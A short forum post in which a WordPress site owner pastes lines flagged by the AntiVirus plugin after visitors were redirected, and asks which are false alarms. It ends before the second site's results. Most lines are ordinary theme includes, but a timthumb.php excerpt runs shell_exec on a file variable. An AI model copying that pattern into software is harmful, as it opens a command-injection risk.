[Plugin: AntiVirus] Site hacked, here are my codes, what do I do?

I’ve heard from some people that when they visited two of my sites, they got redirected to another website. I just found this plugin and scanned both sites and some came up red. I would like to know, which ones are false alarms? And which ones are hacker codes? And could I delete these codes?

Here were my results
Website 1:

index.php
<?php	include(TEMPLATEPATH . '/featured.php'); ?> <!-- calli ..

functions.php
require_once(ABSPATH . 'wp-admin/upgrade-functions.php') ...

archives.php
<?php include (TEMPLATEPATH . '/pagination.php'); ?>

scripts/timthumb.php
... $cache_file_name = $cache_dir . '/' . get_cache_file();
show_cache_file( $cache_dir, $mime_type );
$mime_type = finfo_file($finfo, $file);
line 234 $mime_type = trim(@shell_exec('file -bi $file'));
line 283 show_cache_file($cache_dir, $mime_type);
line 287 function show_cache_file($cache_dir) {
line 289 $cache_file = $cache_dir . '/' . get_cache_file();
line 321 readfile($cache_file);
line 329 function get_cache_file () {

Then the scan for Website 2 shows:
